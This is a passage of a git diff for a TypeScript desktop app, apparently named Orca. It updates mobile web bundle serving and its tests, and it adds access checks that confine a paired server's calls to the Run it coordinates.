     expect(errorMessage(stale)).toBe('mobile_web_bundle_build_changed')
+    expect(
+      MobileWebBundleManifestResultSchema.parse(manifest.ok && manifest.result).manifest.buildId
+    ).toBe(replacement.buildId)
+    expect(errorMessage(fresh)).toBeUndefined()
+  })
+
+  // A newer release written in place may add schema-v1 fields this host predates; it serves only the ones it knows.
+  it('serves a replacement manifest that carries fields this host does not know', async () => {
+    rmSync(join(scratch, 'out', 'mobile-web'), { recursive: true, force: true })
+    const replacement = writeSyntheticMobileWebBundle(join(scratch, 'out', 'mobile-web'), 5)
+    const manifestPath = join(replacement.root, 'manifest.json')
+    const written = JSON.parse(readFileSync(manifestPath, 'utf8'))
+    written.assets[0].laterAssetField = 1
+    written.laterManifestField = true
+    writeFileSync(manifestPath, JSON.stringify(written), 'utf8')
+
+    const response = await call('mobileWeb.bundle.manifest')
+
+    const manifest = MobileWebBundleManifestResultSchema.parse(
+      response.ok && response.result
+    ).manifest
+    expect(manifest.buildId).toBe(replacement.buildId)
   })
 
   // A path survives rebuild; key verdicts by build too so an old failure cannot poison new bytes.
@@ -164,13 +193,26 @@ describe('an install that carries a mobile web bundle', () => {
 
     rmSync(join(scratch, 'out', 'mobile-web'), { recursive: true, force: true })
     const replacement = writeSyntheticMobileWebBundle(join(scratch, 'out', 'mobile-web'), 8)
-    resetBundledMobileWebBundleCacheForTests()
 
     const response = await chunk({ buildId: replacement.buildId, path: 'index.html', offset: 0 })
 
     expect(errorMessage(response)).toBeUndefined()
   })
 
+  // A package install writes the manifest and assets one file at a time; a mismatch mid-install must not stick.
+  it('serves an asset once its bytes match again, after a mismatch for the same build', async () => {
+    const original = mobileWebBundleFiller(640, 3)
+    writeFileSync(join(bundle.root, 'index.html'), mobileWebBundleFiller(640, 99))
+    expect(
+      errorMessage(await chunk({ buildId: bundle.buildId, path: 'index.html', offset: 0 }))
+    ).toBe('mobile_web_bundle_asset_changed')
+
+    writeFileSync(join(bundle.root, 'index.html'), original)
+    const response = await chunk({ buildId: bundle.buildId, path: 'index.html', offset: 0 })
+
+    expect(errorMessage(response)).toBeUndefined()
+  })
+
   // Map post-verification filesystem failure to a contract code without exposing the host install path.
   it('answers a changed asset, not the filesystem error, when the asset is gone after its verdict', async () => {
     const script = bundle.assets.find((asset) => asset.path.endsWith('.js'))!
@@ -259,7 +301,20 @@ describe('where the resolver probes', () => {
   it('finds the bundle beside an out/main app path', async () => {
     const bundle = writeSyntheticMobileWebBundle(join(scratch, 'out', 'mobile-web'), 3)
     installMobileWebBundleAppPath(join(scratch, 'out', 'main'))
-    resetBundledMobileWebBundleCacheForTests()
+
+    const response = await call('mobileWeb.bundle.manifest')
+
+    expect(
+      MobileWebBundleManifestResultSchema.parse(response.ok && response.result).manifest.buildId
+    ).toBe(bundle.buildId)
+  })
+
+  it('reads a packaged app from app.asar.unpacked, where an in-place update writes its files', async () => {
+    const bundle = writeSyntheticMobileWebBundle(
+      join(scratch, 'app.asar.unpacked', 'out', 'mobile-web'),
+      4
+    )
+    installMobileWebBundleAppPath(join(scratch, 'app.asar'))
 
     const response = await call('mobileWeb.bundle.manifest')
 
@@ -282,7 +337,6 @@ describe('an install with no mobile web bundle', () => {
     const root = join(scratch, 'out', 'mobile-web')
     mkdirSync(root, { recursive: true })
     writeFileSync(join(root, 'manifest.json'), 'not json', 'utf8')
-    resetBundledMobileWebBundleCacheForTests()
 
     expect(errorMessage(await call('mobileWeb.bundle.manifest'))).toBe(
       'mobile_web_bundle_unavailable'
diff --git a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.ts b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.ts
index c7fe1de157b..3f763acedca 100644
--- a/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.ts
+++ b/src/main/runtime/rpc/methods/mobile-delivery/mobile-web-bundle.ts
@@ -50,8 +50,8 @@ function bundleError(code: MobileWebBundleErrorCode): InvalidArgumentError {
   return new InvalidArgumentError(code)
 }
 
-function requireBundle(): BundledMobileWebBundle {
-  const bundle = loadBundledMobileWebBundle()
+async function requireBundle(): Promise<BundledMobileWebBundle> {
+  const bundle = await loadBundledMobileWebBundle()
   if (!bundle) {
     throw bundleError('mobile_web_bundle_unavailable')
   }
@@ -69,7 +69,7 @@ async function readLocaleCatalog(
   params: MobileWebBundleLocaleCatalogParams,
   ctx: RpcContext
 ): Promise<MobileWebBundleLocaleCatalogResult> {
-  const bundle = requireBundle()
+  const bundle = await requireBundle()
   const entry = bundle.manifest.catalogs?.find((catalog) => catalog.locale === params.locale)
   if (!entry) {
     throw bundleError('mobile_web_bundle_asset_unknown')
@@ -157,7 +157,7 @@ async function readVerifiedWindow<T>(
   encode: (window: VerifiedWindow) => Promise<T>,
   sourceOf: (asset: MobileWebBundleAsset) => WindowSource = (asset) => asset
 ): Promise<T> {
-  const bundle = requireBundle()
+  const bundle = await requireBundle()
   // Check build before path: auto-update means restart from the manifest, not missing-asset.
   if (params.buildId !== bundle.manifest.buildId) {
     throw bundleError('mobile_web_bundle_build_changed')
@@ -212,7 +212,7 @@ export const MOBILE_WEB_BUNDLE_METHODS = [
     permission: 'workspace',
     params: null,
     handler: async (): Promise<MobileWebBundleManifestResult> => ({
-      manifest: requireBundle().manifest,
+      manifest: (await requireBundle()).manifest,
       chunkBytes: MOBILE_WEB_BUNDLE_CHUNK_BYTES,
       // Complete replies must arrive within the phone's stall budget even on slow relays.
       rangeBytes: MOBILE_WEB_BUNDLE_CHUNK_BYTES
diff --git a/src/main/runtime/rpc/methods/native-chat/native-chat-rpc-image-block.ts b/src/main/runtime/rpc/methods/native-chat/native-chat-rpc-image-block.ts
index 20ec8d05196..6dfe708b4d9 100644
--- a/src/main/runtime/rpc/methods/native-chat/native-chat-rpc-image-block.ts
+++ b/src/main/runtime/rpc/methods/native-chat/native-chat-rpc-image-block.ts
@@ -1,4 +1,5 @@
 import type { NativeChatImageRefBlock } from '../../../../../shared/native-chat/native-chat-types'
+import { isInlineDataUrl } from '../../../../../shared/native-chat/native-chat-inline-data-url'
 
 // Image refs are labels over RPC; inline bytes stay local and metadata cannot consume the frame.
 const NATIVE_CHAT_RPC_IMAGE_METADATA_CAP = 512
@@ -21,11 +22,3 @@ export function sanitizeNativeChatRpcImageBlock(
 function boundedImageMetadata(value: string | undefined): string | undefined {
   return value && value.length <= NATIVE_CHAT_RPC_IMAGE_METADATA_CAP ? value : undefined
 }
-
-function isInlineDataUrl(value: string): boolean {
-  let schemeStart = 0
-  while (schemeStart < value.length && value.charCodeAt(schemeStart) <= 0x20) {
-    schemeStart += 1
-  }
-  return /^data:/i.test(value.slice(schemeStart))
-}
diff --git a/src/main/runtime/rpc/methods/orchestration/access/orchestration-access-outcomes.test.ts b/src/main/runtime/rpc/methods/orchestration/access/orchestration-access-outcomes.test.ts
index 0165250f962..694ff102ae1 100644
--- a/src/main/runtime/rpc/methods/orchestration/access/orchestration-access-outcomes.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration/access/orchestration-access-outcomes.test.ts
@@ -223,6 +223,7 @@ const CASES = {
     })
   },
   peerMailPull: { method: 'orchestration.peerMailPull', params: () => ({ waitMs: 0 }) },
+  peerRunCancel: { method: 'orchestration.peerRunCancel', params: () => ({}) },
   replyHelperQuestion: {
     method: 'orchestration.reply',
     params: (from, ids) => ({ id: ids.helperQuestion, body: 'a', from })
@@ -376,6 +377,7 @@ const EXPECTED: Record<string, string> & Record<keyof typeof CASES, string> = {
     'mail_requires_server_pairing mail_requires_server_pairing mail_requires_server_pairing mail_requires_server_pairing',
   peerMailPull:
     'mail_requires_server_pairing mail_requires_server_pairing mail_requires_server_pairing mail_requires_server_pairing',
+  peerRunCancel: 'forbidden forbidden forbidden forbidden',
   replyHelperQuestion: 'ok consumer_fenced consumer_fenced ok',
   replyMail: 'ok ok ok ok',
   replyQuestion: 'ok consumer_fenced consumer_fenced worker_cannot_coordinate_own_run',
diff --git a/src/main/runtime/rpc/methods/orchestration/access/orchestration-method-access.ts b/src/main/runtime/rpc/methods/orchestration/access/orchestration-method-access.ts
index 01c58ffda86..c36f9dd7336 100644
--- a/src/main/runtime/rpc/methods/orchestration/access/orchestration-method-access.ts
+++ b/src/main/runtime/rpc/methods/orchestration/access/orchestration-method-access.ts
@@ -3,6 +3,11 @@
 import { types } from 'node:util'
 import type { ZodType } from 'zod'
 import type { RpcContext, RpcTypedMethod, RpcTypedStreamingMethod } from '../../../core'
+import {
+  checkPeerAccess,
+  refusePeerAddressClaim,
+  refuseServerCallFromPeerRun
+} from './peer-run-access'
 
 type ParsedParams<TSchema extends ZodType | null> = TSchema extends ZodType
   ? TSchema['_output']
@@ -28,6 +33,9 @@ export type OrchestrationSubjectKind =
 /** A field naming who is calling, as opposed to what the call acts on. */
 export type OrchestrationCallerField = 'from' | 'terminal' | 'callerTerminalHandle'
 
+/** The pane key a caller sends with its caller field, which only its own host can fill. */
+export type OrchestrationCallerPaneField = 'terminalPaneKey' | 'senderPaneKey'
+
 type FieldOf<P> = P extends object ? Extract<keyof P, string> : never
 
 export type OrchestrationAccessRuleInput<P> = {
@@ -43,6 +51,9 @@ export type OrchestrationAccessRule<P, G> = (input: OrchestrationAccessRuleInput
 export type OrchestrationMethodAccess<P, G> = {
   readonly kind: OrchestrationAccessKind
   readonly caller?: Extract<FieldOf<P>, OrchestrationCallerField>
+  readonly callerPane?: Extract<FieldOf<P>, OrchestrationCallerPaneField>
+  /** The field that sends the call on to a paired server (`--on`). */
+  readonly server?: Extract<FieldOf<P>, 'on'>
   /** Every field naming something the call acts on, kept apart from the caller field. */
   readonly targets: Readonly<Partial<Record<FieldOf<P>, OrchestrationSubjectKind>>>
   /** A read returning a collection; a narrower caller restricts its query, never its page. */
@@ -54,32 +65,55 @@ export type OrchestrationMethodAccess<P, G> = {
 export type OrchestrationMethodAccessDeclaration = {
   readonly kind: OrchestrationAccessKind
   readonly caller?: OrchestrationCallerField
+  readonly callerPane?: OrchestrationCallerPaneField
+  readonly server?: 'on'
   readonly targets: Readonly<Partial<Record<string, OrchestrationSubjectKind>>>
   readonly collection?: true
   readonly rule?: OrchestrationAccessRule<never, unknown>
 }
 
-/** The one access check: every caller on this Orca is held to the method's own rule. */
+/** The one access check: every caller on this Orca is held to the method's own rule, and a paired
+ *  Orca also to the Run it coordinates here. Returns the params the method runs with and its grant. */
 export function checkOrchestrationAccess<P, G>(
   access: OrchestrationMethodAccess<P, G>,
   params: P,
   ctx: RpcContext
-): G {
+): { params: P; grant: G } {
+  const caller = ctx.orchestrationCaller
+  if (caller?.kind !== 'peer') {
+    refusePeerAddressClaim(access.caller && fieldValue(access.caller, params))
+    refusePeerAddressClaim(access.callerPane && fieldValue(access.callerPane, params))
+  }
+  const scoped =
+    caller?.kind === 'peer'
+      ? checkPeerAccess(access, params, ctx.runtime.getOrchestrationDb(), caller)
+      : params
+  if (access.server && fieldValue(access.server, scoped) !== undefined) {
+    refuseServerCallFromPeerRun(ctx, declaredCaller(access.caller, scoped))
+  }
   if (!access.rule) {
     // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: G defaults to undefined exactly when a method declares no rule.
-    return undefined as G
+    return { params: scoped, grant: undefined as G }
+  }
+  return {
+    params: scoped,
+    grant: access.rule({ params: scoped, ctx, caller: declaredCaller(access.caller, scoped) })
   }
-  return access.rule({ params, ctx, caller: declaredCaller(access.caller, params) })
 }
 
 function declaredCaller<P>(
   field: Extract<FieldOf<P>, OrchestrationCallerField> | undefined,
   params: P
 ): string | undefined {
-  if (field === undefined) {
-    return undefined
-  }
-  const value: unknown = params[field]
+  return field === undefined ? undefined : fieldValue(field, params)
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null
+}
+
+function fieldValue(field: string, params: unknown): string | undefined {
+  const value: unknown = isRecord(params) ? params[field] : undefined
   return typeof value === 'string' ? value : undefined
 }
 
@@ -154,7 +188,8 @@ export function defineOrchestrationMethod<
         // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a replay returns the receipt this handler produced when the call was accepted; a promise-returning handler's wrapper is async.
         return replayed.receipt as TResult
       }
-      return handler(params, ctx, checkOrchestrationAccess(access, params, ctx))
+      const checked = checkOrchestrationAccess(access, params, ctx)
+      return handler(checked.params, ctx, checked.grant)
     })
   }
 }
@@ -191,8 +226,10 @@ export function defineOrchestrationStreamingMethod<
     handler: checked(
       handler,
       declaration,
-      (params: ParsedParams<TSchema>, ctx: RpcContext, emit: (result: unknown) => void) =>
-        handler(params, ctx, emit, checkOrchestrationAccess(access, params, ctx))
+      (params: ParsedParams<TSchema>, ctx: RpcContext, emit: (result: unknown) => void) => {
+        const checked = checkOrchestrationAccess(access, params, ctx)
+        return handler(checked.params, ctx, emit, checked.grant)
+      }
     )
   }
 }
diff --git a/src/main/runtime/rpc/methods/orchestration/access/peer-run-access.ts b/src/main/runtime/rpc/methods/orchestration/access/peer-run-access.ts
new file mode 100644
index 00000000000..6755ba30dbb
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration/access/peer-run-access.ts
@@ -0,0 +1,208 @@
+import type { OrchestrationDb } from '../../../../orchestration/db/orchestration-db'
+import {
+  isPeerCoordinatorAddress,
+  type OrchestrationPeerCaller
+} from '../../../../orchestration/addressing/orchestration-caller-identity'
+import { OrchestrationError } from '../../../../orchestration/orchestration-error'
+import { parseOrcaSessionAddress } from '../../../../../../shared/orca-session-address'
+import type { RpcContext } from '../../../core'
+import { resolveDispatchCreator } from '../runs/dispatch-creator'
+import type {
+  OrchestrationMethodAccessDeclaration,
+  OrchestrationSubjectKind
+} from './orchestration-method-access'
+
+const NO_EFFECTS = { effectsApplied: false } as const
+
+/** Kinds named by an ID: one this Orca does not have is in no Run, and the method answers it as
+ *  not found. Addresses also name terminals and sessions that work in no Run, so they must resolve. */
+const ID_KINDS: ReadonlySet<OrchestrationSubjectKind> = new Set([
+  'dispatch',
+  'task',
+  'message',
+  'gate'
+])
+
+/**
+ * A paired Orca acts only inside the Run it coordinates here: every subject a call names must be in
+ * that Run, and a collection read is narrowed to it before its query runs, so counts and cursors
+ * stay right. Calls that act on this Orca as a whole are this Orca's own. Returns the params the
+ * method runs with.
+ */
+export function checkPeerAccess<P>(
+  access: OrchestrationMethodAccessDeclaration,
+  params: P,
+  db: OrchestrationDb,
+  peer: OrchestrationPeerCaller
+): P {
+  const { run_id: runId, home_label: label } = peer.peerRun
+  if (access.kind === 'localOnly') {
+    throw new OrchestrationError(
+      'forbidden',
+      `This command acts on this server as a whole, so only this server can run it, not ${label}. No effects were applied.`,
+      NO_EFFECTS
+    )
+  }
+  const values: Record<string, unknown> =
+    params && typeof params === 'object' ? { ...(params as Record<string, unknown>) } : {}
+  for (const [field, kind] of Object.entries(access.targets)) {
+    for (const subject of subjectsOf(values[field])) {
+      const subjectRunId = kind && resolveSubjectRunId(db, kind, subject, peer)
+      if (kind && subjectRunId !== runId && !(subjectRunId === undefined && ID_KINDS.has(kind))) {
+        throw new OrchestrationError(
+          'forbidden',
+          `${subject} is not in the Run ${label} coordinates here. No effects were applied.`,
+          NO_EFFECTS
+        )
+      }
+    }
+  }
+  if (access.collection) {
+    const runField = Object.entries(access.targets).find(([, kind]) => kind === 'run')?.[0]
+    if (!runField) {
+      throw new OrchestrationError(
+        'forbidden',
+        `This list spans every Run on this server, so ${label} cannot read it. No effects were applied.`,
+        NO_EFFECTS
+      )
+    }
+    values[runField] = runId
+  }
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the same params with at most the declared Run field set to a string, which every Run field accepts.
+  return (params && typeof params === 'object' ? values : params) as P
+}
+
+function subjectsOf(value: unknown): string[] {
+  if (Array.isArray(value)) {
+    return value.filter((item): item is string => typeof item === 'string')
+  }
+  if (typeof value !== 'string' || value === '') {
+    return []
+  }
+  if (!value.startsWith('[') && !value.startsWith('{')) {
+    return [value]
+  }
+  // A JSON list of IDs (`--deps`), or send's JSON payload, which names its Dispatch by `dispatchId`.
+  let parsed: unknown
+  try {
+    parsed = JSON.parse(value)
+  } catch {
+    return [value]
+  }
+  if (Array.isArray(parsed)) {
+    return subjectsOf(parsed)
+  }
+  const dispatchId =
+    parsed && typeof parsed === 'object' && 'dispatchId' in parsed ? parsed.dispatchId : undefined
+  return typeof dispatchId === 'string' ? [dispatchId] : []
+}
+
+/** The Run a subject belongs to on this Orca, or undefined when it names nothing here. */
+export function resolveSubjectRunId(
+  db: OrchestrationDb,
+  kind: OrchestrationSubjectKind,
+  subject: string,
+  peer: OrchestrationPeerCaller
+): string | undefined {
+  switch (kind) {
+    case 'run':
+      return subject
+    case 'dispatch':
+      return db.getDispatchContextById(subject)?.run_id
+    case 'task':
+      return db.getTask(subject)?.run_id
+    case 'message':
+      return db.getMessageById(subject)?.run_id
+    case 'gate':
+      return db.getGate(subject)?.run_id
+    case 'request':
+      // Receipts are keyed by the pairing, so they are its own; the same paired Orca may read another of its Runs' receipts.
+      return peer.peerRun.run_id
+    case 'worker':
+    case 'session':
+      return assigneeRunId(db, subject)
+    case 'party':
+      return partyRunId(db, subject, peer)
+    case 'conversation':
+      return undefined
+  }
+}
+
+function partyRunId(
+  db: OrchestrationDb,
+  address: string,
+  peer: OrchestrationPeerCaller
+): string | undefined {
+  if (address === peer.address) {
+    return peer.peerRun.run_id
+  }
+  if (address.startsWith('run:')) {
+    return address.slice('run:'.length)
+  }
+  if (address.startsWith('dispatch:')) {
+    return db.getDispatchContextById(address.slice('dispatch:'.length))?.run_id
+  }
+  // A group spans Runs, so it never resolves into one.
+  return address.startsWith('@') ? undefined : assigneeRunId(db, address)
+}
+
+/** The Run of the newest Dispatch a terminal, pane or session was given. */
+function assigneeRunId(db: OrchestrationDb, subject: string): string | undefined {
+  const session = parseOrcaSessionAddress(subject) ?? subject
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT of one column returns exactly that column.
+  const row = db.db
+    .prepare(
+      `SELECT run_id FROM dispatch_contexts
+       WHERE assignee_handle = ?1 OR assignee_pane_key = ?1 OR assignee_orca_session_id = ?2
+       ORDER BY rowid DESC LIMIT 1`
+    )
+    .get(subject, session) as { run_id: string } | undefined
+  return row?.run_id
+}
+
+/** Only a paired Orca's own frames speak as it: its address is predictable, so no other caller may
+ *  declare it as its handle or pane and read or bind its Run's mail. */
+export function refusePeerAddressClaim(declared: string | undefined): void {
+  if (isPeerCoordinatorAddress(declared)) {
+    throw new OrchestrationError(
+      'forbidden',
+      `${declared} is a paired Orca's coordinator address, and only that Orca can act as it. No effects were applied.`,
+      NO_EFFECTS
+    )
+  }
+}
+
+/** Pairing is one-way: work running in a paired Orca's Run, its helpers' included, never calls on
+ *  to another server, and neither does that Orca through this one. */
+export function refuseServerCallFromPeerRun(
+  ctx: RpcContext,
+  callerHandle: string | undefined
+): void {
+  const db = ctx.runtime.getOrchestrationDb()
+  const caller = ctx.orchestrationCaller
+  // Most servers coordinate no paired Orca's Run, and then the creator lookup (which can refuse) is skipped.
+  const peerRun =
+    caller?.kind === 'peer'
+      ? caller.peerRun
+      : db.hasPeerRuns()
+        ? peerRunOfCallerWork(ctx, db, callerHandle)
+        : undefined
+  if (peerRun) {
+    throw new OrchestrationError(
+      'forbidden',
+      `This work is coordinated from ${peerRun.home_label}, so it cannot use --on. Ask that coordinator instead. No effects were applied.`,
+      NO_EFFECTS
+    )
+  }
+}
+
+function peerRunOfCallerWork(
+  ctx: RpcContext,
+  db: OrchestrationDb,
+  callerHandle: string | undefined
+): ReturnType<OrchestrationDb['getPeerRun']> {
+  const creator = resolveDispatchCreator(ctx.runtime, callerHandle, ctx.orchestrationCaller)
+  const dispatchId = db.resolveCreatorDispatchId(creator)
+  const runId = dispatchId ? db.getDispatchContextById(dispatchId)?.run_id : undefined
+  return runId ? db.getPeerRun(runId) : undefined
+}
diff --git a/src/main/runtime/rpc/methods/orchestration/caller-show.ts b/src/main/runtime/rpc/methods/orchestration/caller-show.ts
index 9ee58a20e4d..5d0acbef31b 100644
--- a/src/main/runtime/rpc/methods/orchestration/caller-show.ts
+++ b/src/main/runtime/rpc/methods/orchestration/caller-show.ts
@@ -75,9 +75,13 @@ export const ORCHESTRATION_CALLER_METHODS = [
       _params,
       { orchestrationCaller, orchestrationCompatibilityEvidence, runtime }
     ): OrchestrationCallerShowResult => ({
-      caller: orchestrationCaller
-        ? { orcaSessionId: formatOrcaSessionAddress(orchestrationCaller.orcaSessionId), live: true }
-        : null,
+      caller:
+        orchestrationCaller && orchestrationCaller.kind !== 'peer'
+          ? {
+              orcaSessionId: formatOrcaSessionAddress(orchestrationCaller.orcaSessionId),
+              live: true
+            }
+          : null,
       // An Orca-launched agent's own pane and launch secret prove it is one; no hook needs to have fired.
       terminal:
         !orchestrationCaller &&
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federated-attach-receipt.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/federated-attach-receipt.test.ts
deleted file mode 100644
index 4c6b8551cb8..00000000000
--- a/src/main/runtime/rpc/methods/orchestration/federation/federated-attach-receipt.test.ts
+++ /dev/null
@@ -1,36 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { parseRemoteFederatedWorkerStartReceipt } from '../../../../orchestration/legacy-remote-home/federated-attach-receipt'
-
-describe('remote federated worker start receipt', () => {
-  it.each([
-    { name: 'missing runtime epoch', receipt: {} },
-    { name: 'non-string runtime epoch', receipt: { runtimeEpoch: 42 } },
-    { name: 'missing worktree id', receipt: { runtimeEpoch: 'epoch_remote' } },
-    {
-      name: 'missing terminal handle',
-      receipt: {
-        runtimeEpoch: 'epoch_remote',
-        worktreeId: 'worktree_remote',
-        terminalHandle: undefined
-      }
-    }
-  ])('rejects a ready receipt with $name', ({ receipt }) => {
-    expect(() =>
-      parseRemoteFederatedWorkerStartReceipt({
-        dispatchId: 'ctx_remote',
-        state: 'ready',
-        terminalHandle: 'term_remote',
-        ...receipt
-      })
-    ).toThrow('invalid ready receipt')
-  })
-
-  it('accepts a non-ready receipt without ready-only resources', () => {
-    expect(
-      parseRemoteFederatedWorkerStartReceipt({
-        dispatchId: 'ctx_remote',
-        state: 'outcome_unknown'
-      })
-    ).toMatchObject({ dispatchId: 'ctx_remote', state: 'outcome_unknown' })
-  })
-})
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federation-effects.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/federation-effects.test.ts
deleted file mode 100644
index c6897f7b696..00000000000
--- a/src/main/runtime/rpc/methods/orchestration/federation/federation-effects.test.ts
+++ /dev/null
@@ -1,39 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import {
-  appendFederationSetupEffect,
-  appendFederationTerminalEffects,
-  type FederationEffect
-} from '../../../../orchestration/legacy-remote/federation-effects'
-
-describe('orchestration federation effects', () => {
-  it('uses exact terminal handles instead of display titles for setup identity', () => {
-    const effects: FederationEffect[] = []
-
-    appendFederationTerminalEffects(
-      effects,
-      [
-        { handle: 'term_agent', title: 'Codex' },
-        { handle: 'term_configured', title: 'Setup' },
-        { handle: 'term_setup', title: 'PowerShell' }
-      ],
-      'term_agent',
-      'term_setup'
-    )
-    appendFederationSetupEffect(effects, {
-      requested: 'run',
-      effective: 'run',
-      source: 'orchestration_default',
-      hookFound: true,
-      startupPolicy: 'start-immediately',
-      state: 'running'
-    })
-
-    expect(effects).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({ id: 'term_configured', role: 'configured_tab' }),
-        expect.objectContaining({ id: 'term_setup', role: 'setup' }),
-        expect.objectContaining({ kind: 'setup', terminalId: 'term_setup' })
-      ])
-    )
-  })
-})
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federation-methods.ts b/src/main/runtime/rpc/methods/orchestration/federation/federation-methods.ts
index c0e0e2f50a8..5d4c9640030 100644
--- a/src/main/runtime/rpc/methods/orchestration/federation/federation-methods.ts
+++ b/src/main/runtime/rpc/methods/orchestration/federation/federation-methods.ts
@@ -4,10 +4,12 @@ import {
   ORCHESTRATION_FEDERATION_RELAY_METHODS
 } from '../../../../orchestration/legacy-remote/legacy-remote'
 import { ORCHESTRATION_PEER_MAIL_METHODS } from './peer-mail-methods'
+import { ORCHESTRATION_PEER_RUN_METHODS } from './peer-run-methods'
 
 export const ORCHESTRATION_FEDERATION_METHODS = [
   ...ORCHESTRATION_FEDERATION_ATTACH_METHODS,
   ...ORCHESTRATION_FEDERATION_RELAY_METHODS,
   ...ORCHESTRATION_FEDERATION_CONTROL_METHODS,
-  ...ORCHESTRATION_PEER_MAIL_METHODS
+  ...ORCHESTRATION_PEER_MAIL_METHODS,
+  ...ORCHESTRATION_PEER_RUN_METHODS
 ]
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts
index 909c25152f5..520ed9ef4cb 100644
--- a/src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts
+++ b/src/main/runtime/rpc/methods/orchestration/federation/federation.test.ts
@@ -14,6 +14,7 @@ import { ORCHESTRATION_METHODS } from '../orchestration'
 import { createFederationWorkerStartRequest as startRequest } from './federation-request.test-support'
 import { configureFederationWorkerRuntime } from './federation-runtime.test-support'
 import { syncFederationBarrier } from './federation-sync-barrier.test-support'
+import { RuntimeEnvironmentStoreError } from '../../../../../../shared/remote-runtime/host-store/runtime-environment-store-records'
 
 describe('orchestration federation', () => {
   const databases: OrchestrationDb[] = []
@@ -26,6 +27,7 @@ describe('orchestration federation', () => {
   let workerCapabilities: string[]
   let workerPeerFingerprint: string
   let loseNextAckResponse: boolean
+  let environmentRemoved: boolean
 
   beforeEach(() => {
     homeDb = new OrchestrationDb(':memory:')
@@ -40,13 +42,22 @@ describe('orchestration federation', () => {
     workerCapabilities = [...(workerRuntime.getStatus().capabilities ?? [])]
     workerPeerFingerprint = 'windows_peer_fingerprint'
     loseNextAckResponse = false
+    environmentRemoved = false
     const transport: OrchestrationEnvironmentTransport = {
-      resolve: () => ({
-        environmentId: 'environment_windows',
-        name: 'windows',
-        peerFingerprint: workerPeerFingerprint,
-        pairingRevision: 73
-      }),
+      resolve: (selector) => {
+        if (environmentRemoved) {
+          throw new RuntimeEnvironmentStoreError(
+            'invalid_argument',
+            `Unknown environment: ${selector}`
+          )
+        }
+        return {
+          environmentId: 'environment_windows',
+          name: 'windows',
+          peerFingerprint: workerPeerFingerprint,
+          pairingRevision: 73
+        }
+      },
       call: async (_selector, method, params, _timeoutMs, envelope) => {
         if (method === 'status.get') {
           return {
@@ -349,6 +360,22 @@ describe('orchestration federation', () => {
     expect(workerRuntime.closeTerminal).not.toHaveBeenCalled()
   })
 
+  it('says the pairing is gone when the server a worker ran on was removed', async () => {
+    const task = createHomeTask()
+    await homeDispatcher.dispatch(startRequest(task.id))
+    const dispatch = homeDb.getDispatchContext(task.id)!
+    environmentRemoved = true
+
+    const shown = await homeDispatcher.dispatch({
+      id: 'rpc_removed_environment_show',
+      authToken: 'coordinator-token',
+      method: 'orchestration.workerShow',
+      params: { dispatch: dispatch.id }
+    })
+
+    expect(shown).toMatchObject({ ok: false, error: { code: 'peer_changed' } })
+  })
+
   it('returns stop_unknown when the worker server disconnects after the home fence', async () => {
     const task = createHomeTask()
     await homeDispatcher.dispatch(startRequest(task.id))
diff --git a/src/main/runtime/rpc/methods/orchestration/federation/peer-coordinator.test.ts b/src/main/runtime/rpc/methods/orchestration/federation/peer-coordinator.test.ts
new file mode 100644
index 00000000000..8d06f4d4123
--- /dev/null
+++ b/src/main/runtime/rpc/methods/orchestration/federation/peer-coordinator.test.ts
@@ -0,0 +1,437 @@
+import { mkdtempSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { ORCHESTRATION_CONTRACT_VERSION } from '../../../../../../shared/orchestration/orchestration-runtime-capabilities'
+import { OrcaRuntimeService } from '../../../../orca-runtime'
+import { OrchestrationDb } from '../../../../orchestration/db/orchestration-db'
+import { generateId } from '../../../../orchestration/db/generated-id'
+import { createRootDispatch } from '../../../../orchestration/db/root-dispatch-test-fixture'
+import { RpcDispatcher } from '../../../dispatcher'
+import type { RpcResponse } from '../../../core'
+import { ORCHESTRATION_METHODS } from '../orchestration'
+import { startWorker } from '../worker/workers'
+import { peerCoordinatorCaller } from '../../../../orchestration/addressing/orchestration-caller-identity'
+
+const WORKER_PANE = 'tab_w:11111111-1111-4111-8111-111111111111'
+const OTHER_PANE = 'tab_o:22222222-2222-4222-8222-222222222222'
+const LOCAL_PANE = 'tab_l:33333333-3333-4333-8333-333333333333'
+const PAIRED = {
+  authenticatedCallerFingerprint: 'fingerprint_a',
+  pairedDeviceId: 'device_a',
+  clientKind: 'runtime' as const
+}
+
+describe('a paired Orca coordinating its Run on this server', () => {
+  let dir: string
+  let db: OrchestrationDb
+  let runtime: OrcaRuntimeService
+  let dispatcher: RpcDispatcher
+  let conversationId: string
+  let sequence = 0
+
+  beforeEach(() => {
+    dir = mkdtempSync(join(tmpdir(), 'orca-peer-coordinator-'))
+    db = new OrchestrationDb(join(dir, 'b.db'))
+    runtime = new OrcaRuntimeService(null)
+    const panes: Record<string, string> = {
+      term_w: WORKER_PANE,
+      term_o: OTHER_PANE,
+      term_l: LOCAL_PANE
+    }
+    vi.spyOn(runtime, 'getTerminalPaneKey').mockImplementation((handle) => panes[handle] ?? null)
+    vi.spyOn(runtime, 'getLiveTerminalPaneKey').mockImplementation(
+      (handle) => panes[handle] ?? null
+    )
+    runtime.setOrchestrationDb(db)
+    dispatcher = new RpcDispatcher({ runtime, methods: ORCHESTRATION_METHODS })
+    conversationId = generateId('peerconv')
+  })
+
+  afterEach(() => {
